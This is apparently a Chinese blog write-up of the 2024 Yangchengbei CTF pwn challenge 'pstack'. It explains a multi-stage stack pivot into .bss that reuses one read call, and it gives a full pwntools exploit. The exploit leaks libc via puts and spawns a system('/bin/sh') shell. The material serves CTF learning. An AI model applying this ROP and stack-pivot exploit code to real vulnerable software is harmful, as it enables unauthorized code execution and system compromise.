【PWN · 栈迁移 | one-read】[羊城杯 2024]pstack

从前的栈迁移,怎么也得泄露一个栈指针,或者对bss有两次及以上写的能力,这题过分精简,一时间失了分寸。。。好在信息检索到了解法,并动态调试了解了过程


前言

栈溢出长度不够如何利用——可以考虑栈迁移

如果从交互来看,仅有一个read函数,且只能触发一次,又该如何利用?

本题就是如此,又让我学了一招,通过read实现多次栈迁移完成目的。

这里必须把信息检索到的博客博主在此声明,以示感谢


一、题目

二、解题思路与利用链

只有一次read,从前遇到的,要么是劫持到栈上,要么是劫持到bss上。前者需要栈指针泄露,后者需要在bss构造ROP链。这里一没有打印函数,二只有一次read,似乎条件都不太满足。

不过read本身是有写的能力的,这和劫持到bss段上比较相似

为此可以有一下利用链(写的比较详细所以多,但是由于重复性的相似称谓,表述可能欠妥有歧义,还是跟着后面的调试看比较清晰,望读者海涵)

【Payload 示意】
1.deadbeef+bss+vuln_read  #
2.deadbeef+ROP[puts(puts)]+pop_rbp+bss+vuln_read+bss+leave_ret
3.deadbeef+ROP[system(’/bin/sh’)]+bss+leave_ret
【利用链】
1. 第一次栈溢出,发送payload1,写rbp为bss段上一个地址,写ret为vuln函数的read
2.第一次vuln执行完毕,leave使得rbp改为bss,ret使得程序再次跳转到vuln-read进行读取
3.由于rbp已经被更改为bss段上的一个地址,因此read的buf指针(lea     rax, [rbp+buf])也指向了bss上的一个区域
4.程序执行read,发送payload2,写ROP[puts(puts)]泄露libc,通过pop_rbp修改rbp的同时,利用vuln_read再次往目标地址写,ROP[system(’/bin/sh’)],rbp写合适的bss位置,ret写leave_ret
5.程序执行完vuln-read后,函数尾声leave-ret,leave时rsp被迁到bss段上,由于构造合理,(leave=mov rsp,rbp;pop rbp;) 此时leave执行完,rbp=bss-8(payload2中所谓合适的bss位置),rsp指向leave_ret gadget。接下来执行ret,程序将跳转到leave-ret这个gadget
6.gadget中,leave执行完毕后会将rsp迁移到bss上,ROP链起始位置;ret会进入ROP
7.程序将按照设定,泄露libc、触发vuln_read函数向bss上读入payload3
8.然后ROP完,再次触发leave-ret(payload2最后的部分),由于前面的read的ROP已经修改了rbp,所以此时leave-ret时,再次触发栈迁移,迁移到read读取后的位置
9.ROP-read读取ROP-system(’/bin/sh’),栈迁移后,ret继续执行该后门ROP链,完成利用

三、动态调试与解题

 

四、EXP

from pwn import *
from time import sleep
elf=ELF('./pwn')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.arch=elf.arch
context.os='linux'
context.log_level='debug'
# context.terminal=['tmux','splitw','-h']
##########################
def debug(touch=True,flag=False):
    global gdb_status;gdb_status=False
    if flag:
        gdb_status=True
        gdb.attach(io);
        return
    elif touch:
        if input('[?] GDB attach(press ENTER to quit): ')!='':
            gdb_status=True
            gdb.attach(io);
            return
        else:
            print("[-] GDB didn't attach")
            return
    print("[-] GDB didn't attach")
    return 

def gdb_check(point=True,slp=False):
    if not point:
        return
    if(gdb_status):
        if slp:
            sleep(2)
        else:
            pause()

##########################

def sendline_payload(payload):
    try:
        io.recvall(Timeout=2)
    except:
        pass
    io.sendline(payload)
def send_payload(payload):
    try:
        io.recvall(Timeout=2)
    except:
        pass
    io.send(payload)
bss=elf.bss()+0x500
vuln_read=0x4006C4
io=process('./pwn')
debug()

# payload1: 1.hijack rbp to bss; 
#           2.return to vuln-read 
payload1=b'a'*(0x30)+p64(bss+0x30)+p64(vuln_read)
send_payload(payload1)
gdb_check(False)

# payload2: 1.double leave-ret (set ret to gadget leave-ret) hijack rsp to bss-start (set appropriate bss)
#           2.ROP
#           3.read more payload

# 0x0000000000400773 : pop rdi ; ret
# 0x00000000004005b0 : pop rbp ; ret
# 0x00000000004006db : leave ; ret
leave_ret=0x4006db
pop_rdi=0x400773
pop_rbp=0x4005b0
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']

payload2=p64(pop_rdi)+p64(puts_got)+p64(puts_plt) # leak-libc
payload2+=p64(pop_rbp)+p64(bss+0x200+0x30)+p64(vuln_read)
payload2+=p64(bss-8)+p64(leave_ret)

send_payload(payload2)
gdb_check(True)
io.recvuntil(b'flow?\n')
puts_real=u64(io.recvuntil(b'\n',drop=True)[-6:].ljust(8,b'\x00'))
libc_base=puts_real-libc.sym['puts']
system_real=libc_base+libc.sym['system']
binsh=libc_base+libc.search('/bin/sh\x00').__next__()

success('puts_real:'+hex(puts_real))
success('libc_base:'+hex(libc_base))
success('system_real:'+hex(system_real))
success('str_bin_sh:'+hex(binsh))

# payload3: 1.ROP system('/bin/sh')
#           2.double-leave-ret hijack to ROP
# 0x0000000000400506 : ret
ret=0x400506
# if segment fault, rset '0x100' to another number like '0x200' (success)
payload3=(p64(pop_rdi)+p64(binsh)+p64(system_real)).ljust(0x30,b'\x00')
payload3+=p64(bss+0x200-0x8)+p64(leave_ret)
send_payload(payload3)
io.interactive()

总结

唉,又为自己菜菜而自卑。。

羊城杯前面的佬,真的好牛,又聪明又勤奋

评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值